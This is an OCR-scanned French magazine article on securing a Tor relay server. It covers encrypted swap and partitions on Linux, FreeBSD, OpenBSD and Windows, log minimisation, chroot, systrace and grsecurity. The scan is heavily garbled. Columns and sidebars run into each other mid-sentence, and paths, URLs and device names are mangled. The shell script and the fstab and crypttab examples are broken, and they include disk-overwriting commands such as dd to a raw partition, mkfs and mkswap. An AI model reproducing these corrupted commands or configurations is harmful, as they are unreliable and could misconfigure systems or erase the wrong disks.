transportées selon un chemin aléatoire :

reliant la source a la destination. Parmi :

ces noeuds, certains font office de passe-
relle entre Tor et Internet.

Les messages sont encapsulés dans des
couches cryptographiques successives
(comme la peau d'un oignon) : lors de
I'envoi, la source choisit les noeuds par
lesquels les données vont transiter et les

Onion Routing, qui : _
: du serveur Tor, en le sécurisant et en veillant a ce que

pour

: toutes les données sensibles relatives aux activités
sur le réseau soient protégées au mieux.

d'un
message. Le réseau :

un intrus de déter- :

crypte de maniére a ce que chaque :
intermédiaire ne puisse connaitre que le :
prochain maillon de la chaine (voir :

schéma page 55).

Ainsi, seul le dernier noeud voit en clair
le message et la destination Internet du
paquet. De plus, aucun des intermédiai-
res ne peut savoir si un message qu'il
regoit provient directement du noeud
précédent ou s'il ne faisait que le router.
Et pour les réponses, un chemin de
retour est crypté sur différentes cou-
ches, de la méme maniere : le destina-
taire ne peut donc pas connaitre non
plus l'origine du message qu'il relaye vers
Internet.

Pour plus de détails sur le fonctionne-
ment de Tor, voir les différentes sources
de documentation sur le site officiel :
http://tor.eff.org.

Tor repose sur un : Nous avons montré 'efficacité de Tor du point de vue
progocolerde :::e : client, dans l'article p.16 sur l'anonymat. Celui-ci
: explique comment renforcer cet anonymat au niveau

Cet article est une adaptation francaise de The Onion Router Operational Security, How fo Run a
Secure Tor Server, disponible sur le wiki de noreply.org, qui centralise bon nombre de documents
relatifs a Tor, |'anonymat et quelques auires projefs - el que nous vous recommandons. Nous avons
voulu publier en francais ces recommandations parce qu'elles donnent, en plus de ce qui concerne
spétifiquement Tor, une bonne idée des possibilités de sécurisation disponibles actuellement.

Les aufeurs principaux du document original sont Chris Palmer, Roger Dingledine et Nick
Mathewson. Cette version francaise est disponible sous licence libre sur simple demande aupres de

la rédaction.
Voir ; hi

Des nosuds inter-connectés

Il existe bien entendu différents types

: d'attaques permettant de fragiliser I'ano-

D L Y

nymat assuré théoriquement par Tor, :
notamment au niveau du protocole, en :
: mémoire, et notamment dans la swap. I
i convient donc de configurer avec préci-
i sion les permissions d'accés des fichiers

utilisant des analyses temporelles.
Cependant, ces attaques ne sont possi-
bles que si l'intrus contréle un certain

nombre de noeuds du réseau. Par consé- :
quent, la sécurité de chaque serveur Tor :
i qui constitue le réseau est relativement :
i déterminante pour la sécurité du tout. :
Ce document donne quelques conseil !
: linux 2.4

i Avec un Kernel 2.4, il y a deux moyens
: d'utiliser des partitions chiffrées : loop-
i AES, distribué sous la forme d'un module
i kernel, et Cryptoloop. qui est un patch &
i ajouter au kernel officiel.

i On peut télécharger loop-AES sur

pour renforcer cette sécurité, la ol elle
est le plus importante.

Chifirement des partitions
de stockage et e swap

La seule information sensible d'un ser-
veur Tor est sa clé privée (stockée par

défaut dans /usr/local/etc/tor/keys — qui :

: ne doit étre lisible que par l'utilisateur
i dédié au serveur). Des informations per-

mettant de la compromettre ou de la
reconstituer peuvent se retrouver en

et il est recommandé d'utiliser des parti-
tions chiffrées pour les stocker ainsi que
pour la swap.Voici comment procéder sur
les principaux systémes d'exploitation.

hitp://loop-AES.sf.net.



Message recu et déchifiré par le noeud 04

Prochain noeud : 05
Message :

chifirée avec la clé publique du noeud 05

Message requ et déchiffré par le noeud 05

Prochain noeud : 06
Message :

Message regu el déchifiré par le noeud 08

i

oy

L]

Destination : ip:port [+
Message : | ' 5
BN

| !

(veal go destiné & Internet) Ii-

el

Principe de I'Onion Routing

Clest la version générique la plus com-
mode, vu qu'elle ne nécessite normale-
ment pas une recompilation du noyau.
Cependant, le patch Cryptoloop est
intégré par défaut aux kernels fournis
par certaines distributions (notamment

i h
: chiffrée avec la clé publique du noeud 06 i
i E

—Résamau Tor

Réseau Tox

————. - T T

Internet

Gentoo et Mandriva).

Il peut étre fastidieux d'appliquer le
patch soi méme. Pour ceux qui sont inté-
ressés, la version la mieux maintenue est
appelée loop-jari ou patch-cryptoloop-
jari ; la version correspondant a votre
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kernel est facilement identifiable grice a
Google. Une version relativement
récente du patch est dlSpOl‘Ilb|e a cette
adresse : northernse '

downloa
Pour activer le chiffrement, il faut spécifier
CONFIG_BLK_DEY_CRYPTOLOOP=y
lors de la configuration du noyau, et spé-
cifier I'algorithme choisi. Les outils (user-
land) d'administration des loops sont
normalement distribués sous forme de
paquetage dans les principales distribu-
tions. On peut se référer au Cryptoloop
HOWTO (dlsponlble a Iadresse

rg/HOWT

¥ AR
I W W W

ryptolos -

0) pour plus d'in-

¢ formation a ce sujet.

¢ Voir le script ci-contre pour un exemple
de mise en place d'une partition de swap
cryptée. Il existe des solutions plus
robustes,

notamment EncSwap :

rity.nr

Linux 2.6

Sur une Debian, avec un Kernel 2.6, il suf-

fit d'installer le paquetage cryptsetup.

La version par défaut du noyau intégre
déja le support DM-CRYPT, qui est la
maniére la plus efficace de mettre en
place un cryptoloop sur une version 2.6.
Il faut veiller a l'activer manuellement si
I'on utilise un noyau customisé.

On peut alors spécifier dans /etc/crypt-
tab les partitions de stockage et les clés.

: Voici comment configurer les mémes

partitions que dans le script vu plus haut :
# <target device> <source
device> <key file> <options>
swap /dev/hda2 /dev/urandom swap
tmp /dev/hda5 /dev/urandom tmp

Il faut ensuite spécifier dans fetc/fstab les
points de montage :

/dev/mapper/tmp /trp ext2 defaults 0 2
/dev/mapper/swep none swap sw 0 0

: Aprés redémarrage, on peut vérifier que
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$cript pour une partition de swap chiffrée

Le script qui suit permet de créer au démarrage deux parfitions cryptées, stockées respediivement
dans /dev/hda? (pour la swap) et /dev/hda5 (pour /tmp), avec AES. Le deux nouveaux devices,
ufilisables par mount ou swapon, seront /dev/loopl et /dev/loop3.

#!/bin/sh

## Génération de mot de passe aléatoire

pw(){

dd if=/dev/urandom bs=1 count=256 2> /dev/null \
| head -n 2 | tail -n 1 | tr [+/=] 0-9

echo -n "Création du swap-device chiffré...

# remise a zéro
swapoff /dev/loopl
losetup -d /dev/loopl

## initialisation du loop :

pw | losetup -e aes -k 256 -p 0 /dev/loopl /dev/hda2
mkswap /dev/loopl # formatage de la swap
swapon -p 1 /dev/loopl # activation

echo -n "Création d'un /tmp chiffré...
# remise a zéro
umount /dev/loop3
losetup -d /dev/loop3

## initialisation du loop :

"

pw | losetup -e aes -k 256 -p 0 /dev/loop3 /dev/hda5
mkfs -t ext2 /dev/loop3 # formatage ext2
mount -o nosuid,nodev -t ext2 /dev/loop3 /tmp

chmod 1777 /tmp

tout est en ordre. L'utilitaire dmsetup :
: Plus de détails sur :
tmp: 0 979902 crypt aes-cbc- : il

plain 984...d97d4 0 3:5 0 :
swap: 0 1959930 crypt aes-cbc- :

plain 3c¢2...389e9 0 3:2 0 :
Pour les autres distributions, on peut sui- :
vre les instructions générales données :

doit afficher quelque chose comme :

sur

mentation officielle de la distribution.

FreeBSD

Le chiffrement de la swap est possible
5.3-RELEASE de :

depuis la version
FreeBSD. Il existe plusieurs alternatives.

Il faut d'abord préparer la partition de

stockage qui sera utilisée :
# dd if=/dev/random
of=/dev/ad0slb bs=1m

Ensuite, on configure via /etc/fstab son :

utilisation pour la swap :
/dev/ad0slb.bde none swap sw
00

On peut substituer /dev/adOsib.eli a :
/dev/ad0slb.bde, pour utiliser geli :

pt, ou se rapporter a la docu- :

plutdt que gdbe comme moteur crypto.

partition est présenté ici :

Précavtions annexes

: comme

: OpenBSD

i Le support de chiffrement de la swap est
: inclus depuis longtemps dans OpenBSD.
¢ Il suffit pour l'activer de taper :

- sysctl -w vm.swapencrypt.enable=1
: On  peut
/etc/sysctl.conf.

. Pour chiffrer des partitions de fichiers,on peut
: se rapporter aux instructions données ici :

aussi le faire dans

: On peut également utiliser tout simple-
© ment la mémoire vive (mfs) pour stocker
: des fichiers temporaires, en spécifiant
© dans /etc/fstab :

/dev/wdOb /tmp mfs rw,nodev,

nosuid,-s=153600 0 0

/dev/wdOb /var/tmp mfs rw,nodev,

nosuid,-s=153600 0 0O

© Windows

© On peut configurer Windows pour que
‘la swap soit effacée a chaque arrét pro-
: pre du systeme
: Configuration —> Windows Settings =>
- Security Settings > Local Policies —>
¢ Security Options : Shutdown, Clear vir-
: tual memory pagefile).

i Le chiffrement des partitions peut étre
‘ assuré a l'aide de différents outils,

(Computer

BestCrypt

CrossCrypt

¢ Sur XP,on peut aussi utiliser le chiffrement
¢ natif (NTFS seulement) pour le répertoire
: deTor (voir les propriétés du dossier).

- Minimiser la rétentions

Le mécanisme général de chiffrement de : des d
- La mise en place d'une plateforme d'ano-
° nymat nécessite d'accorder une atten-
- tion toute particuliére aux logs. lls pour-
. raient en effet contenir des informations

Mises @ jour : garder son systéme & jour est lo mesure de sécurité la plus facile @ mettre en
oeuvre, ef reste I'une des plus importantes. N'hésitez pas a utiliser le systéme de paquetages et de

mises d jour automatiques de votre distribution.

Désactiver les services inutilisés : il est égulement capital de ne faire tourner que ce
dont vous avez besoin. Plus vous faites tourner de services accessibles depuis I'extérieur (ou pas),

plus vous augmentez les chances que |'un d'eux comporte une vulnérabilité inédite, qui permettrait
une intrusion en direct ou automatisée (worm). Limiter le nombre d'applications installées facilite
également le maintien des mises @ jour.
Sécurité physique : il est important de garder un serveur sensible sous clé. Méme si les par-
fitions sont cryptées, un accés physique a la machine permettrait différents scénarios d'attaque qui
rendraient caduques foutes les protections mises en place.




permettant de connaitre par recoupe- :
ment diverses informations nuisibles & !

I'anonymat des utilisateurs du serveur.

Il faut étudier dans les détails la configu- :
ration de votre systéme de log,afin de ne :
retenir que le minimum nécessaire au :
fonctionnement de votre infrastructure., :
Il est possible, notamment, de configurer :
la rotation de vos fichiers de log pour :
qulils soient effacés périodiquement (il
existe plusieurs techniques d'effacement !
de fichier résistant a la récupération de °

données, notamment WIPE

http://labaab ) yn.orafwii

e’f).

Dans le cas precis de Tor. la mellieure

politique reste de ne garder aucun log.

L'Electronic Frontier Foundation (a l'ori-
gine du projet Tor) a également rédigé -
quelque recommandations générales sur
la rétention des données, disponibles ici : -

i\tt:: Jiwww.eff.orglosp/

20040819 OSPBestPractices

Ce document s'adresse dabord aux :
fournisseurs d'acces, mais comporte de :
nombreuses informations intéressantes :

hors de ce contexte.

or, la meilleure

3. ~ 43
FOer aucun r@ff

Il existe de nombreuses distributions de BSD
ou Linux concues a la base pour donner un
niveau de sécurité aceru (controle d'accés
détaillé, audit des applications indues, outils
spécifiques, profections supplémentaires par
défaut, etc.). On peut citer :

e SE Linux :
* Adamantix
® Trusted BSD

* OpenBSD

Ces distributions facilitent les tiches de sécuri-
sation, mais sont par définition moins souples
a utiliser et administrer.

restreint

Il est conseillé de faire tourner Tor dans

un environnement restreint, par soucis :

de cloisonnement, mais aussi, comme
pour tout autre service accessible depuis

I'extérieur, afin d'éviter qu'une éventuelle :
: faire tourner Tor.

faille dans celui-ci ne permette de com-
promettre tout le systéme.

: tourner des
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Tor dans un chroot

Le chroot est la technique de cloisonne-
ment de base, disponible sur beaucoup

: de systémes de type UNIX.

La procédure détaillée permettant de

¢ faire tourner Tor dans un chroot est

donnée dans ces deux documents :
http://wiki.noreply.c

reply/TheOnionRot [orinChroot

* hitp://wiki.norej :‘_-‘.-_"H__.E:'HL'J.'{ plyl
TheOnionRo

Systrace

uter/OpenbsdChrootedTor

: Systrace est un systeme de restriction

des appels systeme qui permet de définir

: avec précision ce qu'un processus peut

et ne peut pas faire. Développé a l'ori-

gine pour OpenBSD, il est également dis-

ponible pour Linux.
Tor peut tourner dans cet environne-
ment. Pour générer une politique de

i sécurité de base pour Tor on peut utili-
: ser la commande : systrace -A tor. || faut
. ensuite |'affiner, en se basant sur I'exemple

donné dans l'original de ce document :
http://iwiki.noreply.org/noreply/

i TheOnionRouter/OperationalSecurity.

On l'active ensuite en langant tor avec
systrace

Grsecurity

GRSecurity est un patch pour le noyau
Linux, permettant également de limiter
l'accés aux appels systéme en fonction
du programme (RBAC : role based

. access control). L'utilitaire gradm permet

d'activer les politiques stockées dans

letc/grsec/policy/.
i Vous trouverez dans le document origi-

nal un exemple de politique testé sur
Debian.

DropMyRights (Windows)

Depuis XP et Server 2003, il existe éga-
lement un systéme de politiques de res-

. triction pour Windows, baptisé SAFER.

Cela est notamment utilisé pour faire
applications a risque
(Internet Explorer, Outloak, etc.) en tant

. qu'administrateur, tout en abaissant son

niveau de priviléges.
On peut utiliser un programme nommé

DropMyRights afin de tirer parti de
¢ cette fonctionnalité. Une guide en anglais

Tor dans un environnement

est disponible sur MSDN :
http://imsdn.microsoft.com/
library/default.asp?uri=/library/
en-us/dncode/html/
secure11152004.asp

On peut utiliser la méme méthode pour







